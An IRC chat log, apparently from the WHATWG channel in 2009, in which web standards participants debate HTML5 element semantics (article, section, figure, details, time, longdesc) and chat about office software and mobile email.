Lachy: the interesting part is that CSSquirrel was nonetheless put forward as a positive example by an accessibility expert despite it using the attribute wrong

[13:10:00.0000] <hsivonen>
/me assumes that Kyle Weems reads this anyway, so the IRC log counts as a bug report

[13:11:00.0000] <annevk42>
it's funny how we always point out the mistakes...

[13:14:00.0000] <Dashiva>
Maybe doing something is more important than doing it right

[13:15:00.0000] <jgraham_>
/me is discovering why OpenOffice is not more popular

[13:17:00.0000] <Philip`>
Because it's too free?

[13:17:01.0000] <jgraham_>
Because the UI is too shit

[13:17:02.0000] <Philip`>
Hmm, that too

[13:18:00.0000] <Philip`>
/me only really has Microsoft Office 97 as a point of comparison

[13:19:00.0000] <jgraham_>
It seems exactly like what you would get if you made a really half assed clone of the Office-97 UI so that seems like a reasonable point of comparison

[13:20:00.0000] <hsivonen>
OO.o is like SeaMonkey in need of its Firefox

[13:21:00.0000] <Philip`>
I guess part of the problem is that Microsoft Office works pretty well, so few people have a personal desire to work on a replacement

[13:23:00.0000] <Philip`>
(whereas IE6 was old and unmaintained and lacked lots of necessary features, so there was strong incentive for a replacement)

[13:24:00.0000] <othermaciej>
OO.o has crufty code and unpleasant UI

[13:24:01.0000] <hsivonen>
I mean the OOo engine needs a better UI design

[13:24:02.0000] <jgraham_>
But the replacemnets have generally done better by improving the UI not slavishly copying the UI

[13:24:03.0000] <jgraham_>
from IE

[13:24:04.0000] <hsivonen>
OOo's COM clone is rather horrible.

[13:24:05.0000] <hsivonen>
/me has programmed with the UNO Java bridge

[13:25:00.0000] <othermaciej>
perhaps the same could be said for old school SeaMonkey, but OO.o's code is a lot bigger, and there's no motivated group of insiders looking to make a radical improvement

[13:25:01.0000] <hsivonen>
where you need to do both QueryInterface *and* Java-level casting

[13:26:00.0000] <hsivonen>
with the UNO-Java bridge, more than 50% of the lines of code are just dealing with the system and not doing anything productive

[13:26:01.0000] <Philip`>
hsivonen: Indeed, and I mean there's probably few people interested in working on a better UI design for it, because those people (and most of the potential audience) can just use MS Office

[13:27:00.0000] <Philip`>
(unless they're solely on Linux, in which they can't, but there aren't many people like that and they're not going to care a lot about UI design)

[13:27:01.0000] <Philip`>
s/which/which case/

[13:27:02.0000] <roc>
Google Docs etc will disrupt all this

[13:28:00.0000] <jgraham_>
/me wonders why Philip` thinks that Linux users don't cre about UI design

[13:28:01.0000] <jgraham_>
*care

[13:28:02.0000] <jgraham_>
Hmm Google docs. There's an idea

[13:28:03.0000] <taf2>
/me likes nice looking apps on linux..

[13:28:04.0000] <jgraham_>
IS it actually any good yet?

[13:28:05.0000] <Philip`>
jgraham_: I guess some of them do, but not enough to make Linux a shining example of good UI design

[13:29:00.0000] <roc>
jgraham_: no, but it's convenient

[13:29:01.0000] <jgraham_>
Philip`: Generally a lot of Gnome stuff has pretty reasonable UI design. KDE is generally pretty awful I grant you

[13:29:02.0000] <takkaria>
jgraham_: no, it's not

[13:29:03.0000] <roc>
and for collaboration it can't really be beat

[13:29:04.0000] <hsivonen>
mpt has lots of stuff to fix still

[13:30:00.0000] <takkaria>
the spreadsheet stuff is good, mind

[13:30:01.0000] <mpt>
Clearly I should sleep less

[13:30:02.0000] <roc>
unless you have sharepoint

[13:30:03.0000] <roc>
but most people don't have sharepoint

[13:30:04.0000] <takkaria>
but the word processor feels much like sitting a bit contentEditable

[13:30:05.0000] <takkaria>
*big contentEditable field

[13:31:00.0000] <jgraham_>
mpt: Would it help if you stopped sleeping altogether?

[13:31:01.0000] <annevk42>
roc, as uber-late reply, I mean <isindex> being implemented with XBL, not <hr> or <input> (they appear on screen if you use <isindex>)

[13:31:02.0000] <mpt>
Sun apparently has a bench of UX designers working on OpenOffice.org

[13:31:03.0000] <jgraham_>
takkaria: That's basically what I remember too

[13:32:00.0000] <roc>
annevk42: oh. The implementation of <isindex> predates XBL

[13:32:01.0000] <annevk42>
is it done directly in the style tree then or something?

[13:33:00.0000] <annevk42>
oh well, doesn't really matter I guess

[13:33:01.0000] <roc>
it uses a different anonymous content system

[13:33:02.0000] <roc>
more like what Webkit does if I understand correctly

[13:36:00.0000] <hsivonen>
roc: WebKit seems to have a parser macro for isindex

[13:36:01.0000] <roc>
sorry, I mean the way Webkit does anonymous content in general, not for isindex

[13:37:00.0000] <hsivonen>
I see

[13:48:00.0000] <Lachy>
now what on earth would be the point of allowing aria-describedby accept URLs instead of IDREFs, and let it be used just like longdesc? That would just repeat exactly the same mistake as longdesc! http://lists.w3.org/Archives/Public/public-html/2009Sep/0591.html

[13:49:00.0000] <Dashiva>
But this time it'll be different!

[14:11:00.0000] <zcorpan>
why can't i edit bugs in w3c bugzilla?

[14:11:01.0000] <annevk42>
did mike(tm) gave you editbugs?

[14:11:02.0000] <zcorpan>
no?

[14:12:00.0000] <annevk42>
that's your answer

[14:12:01.0000] <zcorpan>
ok

[14:12:02.0000] <annevk42>
you can ask him, if it's something trivial i can make the change for you now

[14:13:00.0000] <annevk42>
s/,/ for editbugs,/

[14:13:01.0000] <zcorpan>
i wanted to make the summary shorter for http://www.w3.org/Bugs/Public/show_bug.cgi?id=7639

[14:16:00.0000] <annevk42>
done

[14:17:00.0000] <zcorpan>
thanks

[14:27:00.0000] <Philip`>
Is anyone going to point out the squirrely aria-describedby error on the list?

[14:30:00.0000] <Dashiva>
Doesn't look like it

[14:30:01.0000] <Dashiva>
Go ahead if you want to

[14:31:00.0000] <annevk42>
maybe we should put some money on the number of hours until when it comes out and John realizes he's wrong

[14:32:00.0000] <othermaciej>
why did Opera add longdesc support anyway?

[14:33:00.0000] <othermaciej>
do you guys have data on it being useful, or customer requests, or the like?

[14:33:01.0000] <annevk42>
I'd ask chaals

[14:33:02.0000] <annevk42>
/me doesn't really know

[14:34:00.0000] <othermaciej>
was chaals involved in the decision, or are you just saying he's likely to know stuff like that in general?

[14:35:00.0000] <annevk42>
both, I think

[14:35:01.0000] <annevk42>
(at least as far a11y goes)

[14:37:00.0000] <zcorpan>
the impl doesn't work so well for longdesc="#description", however that doesn't work so well in jaws either so maybe it's good to discourage authors from doing that

[14:37:01.0000] <Philip`>
Dashiva: I'm happy to leave it for someone else, rather than getting involved

[14:38:00.0000] <Philip`>
I presume if the page was unfixed, and then Opera implemented aria-describedby taking precedence over longdesc, the page's description would become inaccessible

[14:38:01.0000] <Philip`>
So: Don't implement ARIA, it will demonstrably hurt accessibility

[14:53:00.0000] <zcorpan>
maybe he'd find the mistake if he validated against html5 "Error: The aria-describedby attribute must point to an element in the same document."

[14:56:00.0000] <zcorpan>
hmm. does the spec make document.createElement('isindex') an HTMLElement rather than HTMLUnknownElement by listing it in the obsolete section?

[15:05:00.0000] <gsnedders>
zcorpan: I'd say yes, but that does seem horrifically underdefined

[15:14:00.0000] <zcorpan>
/me considers switching to dt/dd for figure on one of his sites, but concludes that he's too lazy to rewrite the relevant parts of the script and style sheet and retest

[15:17:00.0000] <zcorpan>
what's a browser supposed to do with <details><dt>x<dd>y<dd>z</details>?

[15:17:01.0000] <zcorpan>
always show z?

[15:19:00.0000] <annevk42>
zcorpan, either always show z or always show y

[15:19:01.0000] <zcorpan>
"The first dd element child of the element, if any, represents the details."

[15:22:00.0000] <zcorpan>
the rendering section will make everything but the first dt element hidden

[15:23:00.0000] <beowulf>
is jeremy keith not a SuperFriend?

[15:23:01.0000] <annevk42>
zcorpan, I filed a bug on that

[15:23:02.0000] <beowulf>
ach, nm

[15:26:00.0000] <zcorpan>
annevk2: ah. me too :)

[15:27:00.0000] <zcorpan>
/me notes that the rendering section relies on case-insensitivity for attribute value selectors

[15:28:00.0000] <annevk42>
sigh

[15:28:01.0000] <annevk42>
maybe we cannot remove that then

[15:36:00.0000] <zcorpan>
css specs should reference mimesniff

[15:39:00.0000] <zcorpan>
btw, philipj discovered that code reuse in browsers has caused 'load' and 'error' events to be fired on elements when using e.g. css border-image or video poster

[15:48:00.0000] <Philip`>
/me tries to work out how you're meant to take Opera out of F11-style fullscreen view, when viewing a fullscreen Flash plugin

[15:48:01.0000] <Philip`>
because the plugin has focus and intercepts the F11 key

[15:48:02.0000] <Philip`>
and it's fullscreen so there's no browser chrome left to click on and focus :-/

[15:49:00.0000] <Philip`>
s/fullscreen Flash plugin/normal embedded Flash plugin which fills 100% of the screen/

[15:51:00.0000] <roc>
zcorpan: did anyone file a Mozilla bug on that?

[15:53:00.0000] <zcorpan>
roc: don't think so

[15:54:00.0000] <roc>
I actually don't believe we'd fire load on border-image loads

[15:54:01.0000] <roc>
I believe that we might for poster

[15:54:02.0000] <zcorpan>
i didn't test border-image in firefox

[15:55:00.0000] <zcorpan>
but i tested poster and they fired in my build

[15:56:00.0000] <roc>
I'll file a bug

[15:56:01.0000] <roc>
thanks

[15:56:02.0000] <zcorpan>
cool

[15:56:03.0000] <zcorpan>
i'm going to test all things that load stuff sometime and see if they fire events

[15:59:00.0000] <zcorpan>
btw, poster also happily shows images with 404 status or text/html mime type

[15:59:01.0000] <zcorpan>
iirc


2009-09-16
[17:17:00.0000] <annevk42>
someone wrote an outline tool in JS: http://d.hatena.ne.jp/amachang/20090915/1252999677

[17:18:00.0000] <annevk42>
/me -> bed

[17:22:00.0000] <gsnedders>
Someone beat me to it.

[17:22:01.0000] <gsnedders>
Won't that cause an infinite loop in IE in some cases?

[17:23:00.0000] <gsnedders>
http://amachang.sakura.ne.jp/misc/outliner.js is the script itself

[17:42:00.0000] <heycam>
where is the part of the spec that defines conformance of foreign content?

[17:58:00.0000] <MikeSmith>
gsnedders, annevk42 - amachang is a serious force for good in the universe. he's one the of the Shibuya Javascript users group

[17:59:00.0000] <MikeSmith>
I saw him do a presentation at an event here last year or so, when John Resig came here to speak

[17:59:01.0000] <MikeSmith>
dude does some crazy stuff with javascript

[18:00:00.0000] <MikeSmith>
http://www.flickr.com/photos/takesako/1830101840/

[18:07:00.0000] <heycam>
are all cases where serializing to XML is impossible without modifications (e.g. "--" in a Comment) non-conforming?

[18:09:00.0000] <Perceptes>
Question for you guys: I just learned earlier today that I've been incorrectly using the time element as block level. Is there a block level element that could be used semantically to refer to a timestamp without just resorting to a div? The context is here: http://www.jimmycuadra.com/blog/ I'm working on a new HTML5 version of this and the little calendars in the top right corner of each post are what I'm referring to.

[18:10:00.0000] <Hixie>
<p> ?

[18:10:01.0000] <Hixie>
or just don't use a block-level element :-)

[18:11:00.0000] <Hixie>
<header> <h1>...</h1> <p>by Jimmy</p> <time datetime=...>Aug 31</time> </header>

[18:11:01.0000] <Hixie>
that's valid

[18:12:00.0000] <Hixie>
it's a heading followed by two paragraphs

[18:12:01.0000] <Hixie>
there's kind of an "implied p" around the <time>

[18:13:00.0000] <Perceptes>
ok, thanks :)

[18:14:00.0000] <Hixie>
<p class="date"><time datetime=...>Aug 31</time></p> is fine too, if you prefer making the structure explicit

[18:14:01.0000] <Hixie>
<div> is ok too

[18:14:02.0000] <Perceptes>
yeah, I think that is what I'm gonna go with

[18:15:00.0000] <Hixie>
or you can put the <time> in the byline:  <p>by Jimmy <span>at</span> <time ...>Aug 31</time></p>

[18:15:01.0000] <Hixie>
and display:none the span

[18:16:00.0000] <Perceptes>
how would I mark up the calendar graphic in that case? just div/p?

[18:16:01.0000] <Perceptes>
(the text in the calendar is not part of the image if that wasn't apparent)

[18:17:00.0000] <Hixie>
maybe using ::before, or a background on the <time>

[18:17:01.0000] <Hixie>
or ::outside, if the CSSWG has gotten around to speccing that

[18:17:02.0000] <MikeSmith>
heycam: about "--" in comments specifically, I think it's non-conforming in text/html too. About the general question, not sure

[18:20:00.0000] <heycam>
MikeSmith, ok

[18:25:00.0000] <Perceptes>
is it incorrect to have a <br> inside a phrasing element? (time in this case)

[18:28:00.0000] <Hixie>
it's almost always incorrect to use <br>

[18:28:01.0000] <Hixie>
the only exceptions i know of are postal addresses and poems

[18:31:00.0000] <Perceptes>
so then I run into a problem creating the line break between the month and the day if I try to make it one time element

[18:32:00.0000] <Perceptes>
and it wouldn't make sense to have two time elements since the whole thing represents one date

[18:34:00.0000] <Hixie>
put a span around the month

[18:34:01.0000] <Hixie>
and make it display:block

[18:35:00.0000] <Perceptes>
hmm, seems kind of hackish

[18:35:01.0000] <da3d>
You could just do time { white-space: pre; } or something, no extra elements then :)

[18:36:00.0000] <Perceptes>
that could work

[18:38:00.0000] <Hixie>
heh

[18:38:01.0000] <Hixie>
or you could just make it too narrow for more than one word :-)

[18:38:02.0000] <Hixie>
and have it automatically wrap

[18:38:03.0000] <Hixie>
this is the kind of thing for which CSS isn't really well suited yet

[18:38:04.0000] <Hixie>
what you really want is a mechanism to select a subrange and style that

[18:39:00.0000] <Perceptes>
yeah

[18:39:01.0000] <Hixie>
like ::subrange(from start to first space)

[18:39:02.0000] <Perceptes>
the white-space: pre trick seems to work well

[18:42:00.0000] <Perceptes>
html5.validator.nu doesn't recognize the pubdate attribute on the time element

[18:42:01.0000] <Hixie>
yeah pubdate="" on time is relatively new

[18:42:02.0000] <Hixie>
just ignore the error :-)

[18:42:03.0000] <Hixie>
it also doesn't recognise e.g. <p> in <caption>, which html5 uses

[18:43:00.0000] <Hixie>
so i get two validation errors each time i generate the spec :-)

[18:43:01.0000] <Perceptes>
I feel so elite using valid html5 that the validator doesn't even know about. ;P

[18:44:00.0000] <Hixie>
:-)

[18:56:00.0000] <Perceptes>
haha, it also says "alt" is not a valid attribute for <input>, then includes it in the list of acceptable attributes

[19:01:00.0000] <Hixie>
Perceptes: it's only valid for <input type=image>, is that the problem?

[19:01:01.0000] <Perceptes>
ahh, okay

[19:01:02.0000] <Perceptes>
I didn't catch that

[19:39:00.0000] <mpilgrim>
can someone PM me the twitter.com/WHATWG password?

[19:54:00.0000] <roc>
gah, people are still working on WebCGM?

[20:02:00.0000] <MikeSmith>
roc: I think airplane manufacturing and parts industry is still using it for something

[20:02:01.0000] <MikeSmith>
Boeing in particular, iirc

[20:02:02.0000] <roc>
sure, but on the *web*?

[20:03:00.0000] <otherarun>
Note that WebGL is around the corner: http://www.pcworld.com/article/171944/accelerated_3d_graphics_in_your_browser.html

[20:04:00.0000] <MikeSmith>
otherarun: would be really wonderful is some actual public information about the current state of the discussion were public

[20:05:00.0000] <MikeSmith>
or better yet, the current draft of the spec

[20:05:01.0000] <otherarun>
MikeSmith, *sigh. I'm working on it. Promise.

[20:06:00.0000] <otherarun>
I'm Chair of that WG.  Not everyone is amenable to the level of openness that we'd like to see, but point well taken.

[20:22:00.0000] <MikeSmith>
/me is having a discussion about Google Wave in Japanese and finding as he has in past such discussions that the name "Wave" is not such an ideal name for a Web technology

[20:23:00.0000] <MikeSmith>
the pronuncation of the words "Wave" and "Web" seem to be easily confusable when transliterated phonetically into Japanese (even easily confusable by native speakers, it seems)

[20:28:00.0000] <MikeSmith>
it really comes down to the difference between "e" and "ē"

[20:53:00.0000] <boblet>
MikeSmith: I wonder how excited people will be by Cameron Adams’ Nov speech—are the ppl you’re talking to interested in it?

[20:55:00.0000] <MikeSmith>
boblet: everybody I talk to seems to be interested in it.. just waiting for more info and code to be made public

[20:56:00.0000] <boblet>
MikeSmith: I wonder if it’ll finally move Japan into UTF8-land for email

[20:56:01.0000] <boblet>
oh that’s right, mobile :|

[20:56:02.0000] <boblet>
har

[20:56:03.0000] <MikeSmith>
yep

[20:57:00.0000] <MikeSmith>
exactly what I was going to say

[20:57:01.0000] <MikeSmith>
the state of mobile e-mail clients on handsets in Japan is sad, sad joke

[20:57:02.0000] <MikeSmith>
the infrastructure is perfectly capable

[20:57:03.0000] <MikeSmith>
it's the crap mobile mail clients that are the problem

[20:57:04.0000] <MikeSmith>
most of which are made by the same vendor

[20:58:00.0000] <MikeSmith>
which vendor should be ashamed of itself for the mess they've helped to make

[20:58:01.0000] <boblet>
here’s hoping the iPhone will lead by example (am hoping that Safari and Opera Mobile will do the same for web browsing and kill iMode)

[20:59:00.0000] <boblet>
and carriers will demand better apps

[20:59:01.0000] <MikeSmith>
are there real native e-mail clients for the iPhone?

[20:59:02.0000] <boblet>
mail.app…?

[21:00:00.0000] <MikeSmith>
ah, OK

[21:00:01.0000] <MikeSmith>
I really need to get an iPhone

[21:00:02.0000] <MikeSmith>
and an Android handset

[21:00:03.0000] <MikeSmith>
and a Palm Pre

[21:00:04.0000] <boblet>
although Softbank’s imap setup is a joke (no emoji unless you send using their SMTP, although Gmail on iPhone sends/receives fine)

[21:01:00.0000] <MikeSmith>
...and a new Au handset

[21:01:01.0000] <boblet>
MikeSmith: haha, at least they’ll be tax-deductible!

[21:01:02.0000] <MikeSmith>
boblet: I should personally refrain from commenting at all on Softbank

[21:02:00.0000] <MikeSmith>
I will say that I wish Softbank would focus more on providing competitive high-quality services

[21:03:00.0000] <MikeSmith>
boblet: anyway, are there any Japanese-language video presentations (or at least slides) about Google Wave that you know of?

[21:03:01.0000] <boblet>
very politicly worded

[21:04:00.0000] <boblet>
MikeSmith: not that I’ve seen, but I heard there was a Wave-related meetup in Kyoto recently, so I can ask if you want

[21:04:01.0000] <MikeSmith>
boblet: I guess we can ask the Google.jp folks

[21:04:02.0000] <MikeSmith>
maybe the will have something more to show publicly by time of the Oct. 1-3 event 

[21:05:00.0000] <boblet>
MikeSmith: I’m half-expecting a little something on it during those events yeah

[21:05:01.0000] <MikeSmith>
yeah

[21:05:02.0000] <boblet>
at least a little marketing speil

[21:05:03.0000] <MikeSmith>
last I heard, September 30 was targeted to be a major milestone, will more info and maybe code release at that time

[21:06:00.0000] <MikeSmith>
R&D folks wants code, not just marketing speil

[21:11:00.0000] <boblet>
/me would like a beta invite :|

[21:23:00.0000] <boblet>
mpilgrim: thanks for http://blog.whatwg.org/this-week-in-html5-episode-35 it’s a great summary

[21:23:01.0000] <GPHemsley>
Hixie: What about <item> in place of <article>?

[21:24:00.0000] <GPHemsley>
(or anyone else, since Hixie's AFK)

[21:29:00.0000] <GPHemsley>
(gah, stupid list/Gmail making me not reply to the list...)

[21:30:00.0000] <GPHemsley>
Hixie: Apologies that you got two copies of that e-mail just now.

[21:31:00.0000] <GPHemsley>
oh... it needs to be approved...

[21:31:01.0000] <GPHemsley>
anyone care to do that for me? :)

[01:27:00.0000] <boblet>
later

[01:46:00.0000] <Hixie>
/me wonders where maciej is

[02:16:00.0000] <MikeSmith>
Hixie: "cook the copy pasta" is among your better ones

[02:16:01.0000] <MikeSmith>
as far a commit messages

[02:16:02.0000] <Hixie>
i love the term "copy pasta"

[02:16:03.0000] <Hixie>
don't get to use it much

[02:21:00.0000] <Lachy>
what does "copy pasta" mean?

[02:21:01.0000] <Lachy>
oh, is it like copy/paste error?

[02:21:02.0000] <Hixie>
it usually means a copy-paste spam attack

[02:21:03.0000] <Hixie>
but i use it to mean a copy-paste error

[02:23:00.0000] <MikeSmith>
Hixie: btw, fwiw, count me among those who think removing <dialog> is a good step.. but I think that one step forward, your <dt>+<dd>-in-figure-and-details experiment is at least two steps back

[02:23:01.0000] <Hixie>
heh

[02:23:02.0000] <Hixie>
why?

[02:23:03.0000] <MikeSmith>
that said, if it turns out that the authoring community seems to like it, great

[02:24:00.0000] <Hixie>
i mean, it's not my first choice (obviously), but it doesn't seem all that bad, especially for <details>

[02:24:01.0000] <Hixie>
it's a bit less perfect for <figure>

[02:26:00.0000] <Lachy>
I don't really like it for figure because it needs to have the extraneous <dd> element

[02:26:01.0000] <MikeSmith>
as I mentioned before I think it's suboptimal to have any element whose semantics change drastically based on what its parent element is

[02:26:02.0000] <Lachy>
I don't think that's a problem

[02:27:00.0000] <MikeSmith>
Lachy: why?

[02:27:01.0000] <Lachy>
why is it?

[02:27:02.0000] <MikeSmith>
why isn't it?

[02:27:03.0000] <hsivonen>
Lachy: the "extraneous" element is an awesome styling hook

[02:28:00.0000] <MikeSmith>
should we have lots of elements whose semantics change drastically based on what their parent element are?

[02:28:01.0000] <MikeSmith>
is that the best kind of language design to aim for?

[02:28:02.0000] <Hixie>
MikeSmith: i don't see why that would be a problem

[02:29:00.0000] <Lachy>
MikeSmith, doing it where it provides some benefits doesn't seem like a bad thing.

[02:30:00.0000] <MikeSmith>
Lachy: exactly. I realize there are tradeoffs in terms of backward compatibility, etc., but it's not clear this case is a net win

[02:31:00.0000] <MikeSmith>
it's not even clear, actually, that adding figure and details are a net win, for that matter

[02:31:01.0000] <Lachy>
besides, languages in general have many words that change meaning based on context, and that's no problem. I don't see why it's a problem for some limited cases in a markup language?

[02:31:02.0000] <MikeSmith>
the analogy to natural languages is not particularly relevant

[02:32:00.0000] <Hixie>
other than it being "suboptimal", are there any concrete problems it introduces?

[02:32:01.0000] <Hixie>
it seems theoretically sound -- the element is meaningless on its own anyway

[02:32:02.0000] <MikeSmith>
Hixie: confusion

[02:32:03.0000] <Hixie>
what confusion?

[02:32:04.0000] <Hixie>
i don't see how this is confusing

[02:33:00.0000] <Hixie>
is it confusing that different DOM nodes have members with the same name that do different things?

[02:33:01.0000] <Hixie>
e.g. window.item() and document.item() ?

[02:33:02.0000] <MikeSmith>
the blazingly obvious potential confusion that we used to have an element that meant one particular thing and that now means 3 different things

[02:34:00.0000] <MikeSmith>
Hixie: the entire DOM is confusing

[02:34:01.0000] <Hixie>
i honestly don't see how this would confuse people in practice

[02:34:02.0000] <Hixie>
it's not like people are like "I'm going to use the <dt> element!"

[02:34:03.0000] <Hixie>
they're more like "I'm going to use <dl>... that means I need a <dt> and a <dd>."

[02:36:00.0000] <Lachy>
they're not vastly different meanings. The dt is still the label and dd is still the content being labelled in all 3 cases. It's just different types of labels and content.

[02:36:01.0000] <Hixie>
that too

[02:37:00.0000] <Philip`>
Elements changing drastically based on their parent element seems bad for CSS, because people want to do "dd { font-weight: bold }" and don't understand more complex selectors like "dl > dd"

[02:37:01.0000] <Philip`>
which means they won't know how to style figure>dd differently from dl>dd, without just using class

[02:37:02.0000] <MikeSmith>
bingo

[02:37:03.0000] <hsivonen>
http://www.cssquirrel.com/2009/09/14/comic-update-the-whatwg-legion-of-doom/#comment-27140

[02:38:00.0000] <Hixie>
Philip`: yeah, if the meaning changed radically, that could be a problem

[02:38:01.0000] <MikeSmith>
more complexity for authors in order to make things slightly easier for implementors

[02:39:00.0000] <hsivonen>
Hixie: what's the consumer use case for marking up IRC log timestamps as <time>?

[02:39:01.0000] <Philip`>
dt indenting is probably more of an issue, because you'd never want that to apply to figure>dt

[02:39:02.0000] <Philip`>
(compared to bolding dd, which is probably safe in all contexts)

[02:40:00.0000] <annevk2>
hsivonen, IRC mashups!

[02:40:01.0000] <hsivonen>
annevk2: without time zone?

[02:40:02.0000] <annevk2>
hsivonen, I imagine aggregated logs of #whatwg, #html-wg, #webapps so that I can read up on all three at once :)

[02:41:00.0000] <annevk2>
hsivonen, doesn't matter for these three, but otherwise you should probably have a time zone, yes

[02:46:00.0000] <hsivonen>
smells like write-only metadata

[02:46:01.0000] <hsivonen>
Philip`: I think you got dd and dt the wrong way round

[02:46:02.0000] <hsivonen>
dd and dt are so memorable

[02:47:00.0000] <annevk2>
/me filed a bug on disabling the margin of <dd> within <figure> and <details>

[02:53:00.0000] <annevk2>
maybe we should give <article> some meaningless name, like <supersection>

[02:53:01.0000] <annevk2>
or we have <sec> and <secstandalone>

[02:54:00.0000] <annevk2>
in theory the majority of authors will not understand the name anyway

[02:54:01.0000] <annevk2>
and it's not like <p>, <dl>, <body>, etc. are very clear

[02:56:00.0000] <Hixie>
<post>, maybe

[02:56:01.0000] <Hixie>
i like <item> but it clashes with a lot of other things, like microdata and some ideas i had for data-*="" some time back

[02:56:02.0000] <Hixie>
so i don't know if we want to use <item> for this

[02:57:00.0000] <annevk2>
my initial thought was <item> too, fwiw

[02:58:00.0000] <annevk2>
what's the idea for data-*?

[02:59:00.0000] <Philip`>
hsivonen: That is quite possible

[02:59:01.0000] <hsivonen>
Hixie: with <post>, how do you make people use <post> for each blog comment

[03:00:00.0000] <Hixie>
annevk2: nothing very well formed

[03:00:01.0000] <annevk2>
/me is not that fond of well-formed anyway

[03:00:02.0000] <annevk2>
:p

[03:00:03.0000] <Hixie>
:-P

[03:00:04.0000] <Hixie>
basically some of the same stuff that become microdata

[03:00:05.0000] <Hixie>
though in a very different form

[03:00:06.0000] <Hixie>
it may even have been in the spec back in 2004-5 or so

[03:01:00.0000] <Hixie>
hsivonen: do people not consider blog comments like forum posts?

[03:01:01.0000] <hsivonen>
Hixie: they may consider them to be different from the "post" 

[03:02:00.0000] <Philip`>
/me wonders if we'll end up with a load of elements like code/samp/kbd/var, just for blogs rather than for technical documentation

[03:02:01.0000] <Philip`>
and in ten years nobody will have blogs any more and it'll just be a load of legacy cruft

[03:04:00.0000] <hsivonen>
Hixie: what's the consumer use case for <article> again?

[03:05:00.0000] <hsivonen>
Hixie: moving between major parts using AT/keyboard?

[03:05:01.0000] <Hixie>
hsivonen: styling the blog post containiner separately from the blog post subsections.

[03:05:02.0000] <Hixie>
possibly subscribing to html feeds rather than atom feeds

[03:06:00.0000] <Hixie>
one could imagine other uses, like sharing syndicatable content, but those are pie-in-the-sky

[03:07:00.0000] <Lachy>
what's the reason for wanting to rename article?

[03:08:00.0000] <Hixie>
if it could help convey its purpose, that might be one way to address recent purported confusion

[03:08:01.0000] <Hixie>
though frankly, it seems usually to used correctly to me

[03:09:00.0000] <Lachy>
I thought it was being used correctly.

[03:09:01.0000] <Lachy>
the confusion was over <section>

[03:11:00.0000] <Lachy>
I think people failed to realise how <article> and <section> were related to each other and how they should be used together

[03:11:01.0000] <Lachy>
maybe if it were <section type=article> people wouldn't have been confused

[03:12:00.0000] <Hixie>
the whole point here is to make it so people don't have to use classes

[03:13:00.0000] <Hixie>
not much point change <div class="post" to <section type="article">, it's like twice as long

[03:13:01.0000] <Hixie>
s/change/changing/

[03:13:02.0000] <Hixie>
and add a >

[03:19:00.0000] <annevk2>
maybe <§> and <article> would do the trick

[03:19:01.0000] <hsivonen>
too bad we can't have <§>

[03:20:00.0000] <annevk2>
which reminds me, it might make sense to name it <sect> for consistency with the entity

[03:20:01.0000] <hsivonen>
an obscure HTML5 sect

[03:22:00.0000] <annevk2>
I didn't know about ⁂

[03:24:00.0000] <beowulf>
asterism?

[03:25:00.0000] <beowulf>
hr = ⁂, no?

[03:27:00.0000] <jgraham_>
<sect> and <post> are both horrible imho

[03:31:00.0000] <annevk2>
jgraham_, prolly because your British

[03:32:00.0000] <jgraham_>
?

[03:32:01.0000] <Lachy>
let's just leave <section> and <article> alone

[03:32:02.0000] <annevk2>
to me it's pretty much the same as what we have now :)

[03:33:00.0000] <jgraham_>
<post> is much worse than <article>. An <article> suggests a newspaper of magazine article whereas a <post> sounds purely blog centric

[03:33:01.0000] <jgraham_>
Doesn't atom use <entry>?

[03:33:02.0000] <hsivonen>
yes

[03:33:03.0000] <jgraham_>
Maybe we could use that...

[03:34:00.0000] <jgraham_>
(I don't know if it's better in terms of an english word but it might convey "individually syndicatable piece of content")

[03:34:01.0000] <annevk2>
and it's more clear that comments are entries than articles

[03:35:00.0000] <annevk2>
though like with all the others maybe it should also explain what it's not, e.g. each line of an IRC log is probably not usually an entry

[03:42:00.0000] <hsivonen>
http://blogs.msdn.com/xweb/archive/2009/09/03/free-internet-explorer-debugging-tool-microsoft-expression-web-superpreview-for-windows-internet-explorer.aspx

[03:43:00.0000] <hsivonen>
great synergies for unique authoring tool features and engine versioning from one vendor

[03:44:00.0000] <annevk2>
it's a great strategy; 1) become market leader 2) complicate your product by versioning 3) start selling tools that deal with the added complexity 4) profit!

[03:47:00.0000] <jgraham_>
I guess once you do 1) 4) can be achieved with many different combinations of 2) and 3) 

[03:49:00.0000] <annevk2>
so maybe 2/3 should become the infamous ...

[03:50:00.0000] <adactio>
Apart from <article> containing an optional <time> element with a @pubdate attribute, what is the difference between <section> and <article>?

[03:50:01.0000] <Hixie>
adactio: difference from who's perspective?

[03:50:02.0000] <jgraham_>
adactio: They are semantically different

[03:51:00.0000] <adactio>
From an author's perspective. I understand the difference between <div> and <section>/<article> in that <div> isn't sectioning content.

[03:51:01.0000] <jgraham_>
Also, <article> correponds to a single feed entry (I guess)

[03:51:02.0000] <adactio>
jgraham: Is that the sole use case then?

[03:52:00.0000] <zcorpan>
<address> applies to nearest ancestor address or body

[03:52:01.0000] <Hixie>
adactio: <article> is intended to be as different from <section> as <div class="post"> is from <div class="section">

[03:52:02.0000] <jgraham_>
adactio: an <article> is a piece of unique content. A <section> is a subpart of some larger entity (either the <body> or an <article>, typically)

[03:52:03.0000] <zcorpan>
<article> is like a nested <body>

[03:53:00.0000] <adactio>
jgraham: and yet <article>s could also be nested in a <section>. See the confusion?

[03:53:01.0000] <jgraham_>
So if I wrote a thesis in HTML it would be very long but would use <section> everywhere; it is a single continuous work

[03:53:02.0000] <adactio>
zcorpan: So is <section>.

[03:53:03.0000] <zcorpan>
adactio: no, not really

[03:53:04.0000] <jgraham_>
If I wrote a newspaper, each article would be an <article>

[03:53:05.0000] <adactio>
jgraham: unless it contained standalone content, in which case you should use <article> for those parts.

[03:53:06.0000] <annevk2>
the answers given so far do not really make it obvious why someone would use <article> to be honest

[03:54:00.0000] <adactio>
annevk2: that's what I mean. When smart people who should know this stuff can't explain it, that's very worrying.

[03:54:01.0000] <Hixie>
/me thought we had explained it fine :-)

[03:54:02.0000] <jgraham_>
adactio: <article> in <section> makes sense. Imagine a newspaper that divides up its page into sections for "sport", "fashion", "kittens" and so on. Each section can have several articles

[03:55:00.0000] <Hixie>
/me thinks he knows why adactio and annevk2 both have trouble understanding this

[03:55:01.0000] <Hixie>
neither of you have <div class="post">-like <div>s on your blogs!

[03:55:02.0000] <adactio>
jgraham_: yes, <article> in <section> makes as much sense as <section> in <article>. That's kinda the problem.

[03:55:03.0000] <jgraham_>
adactio: That's the nature of publishing

[03:55:04.0000] <Hixie>
adactio: <ol> in <ul> makes sense just like <ul> in <ol>, doesn't mean they're the same

[03:56:00.0000] <jgraham_>
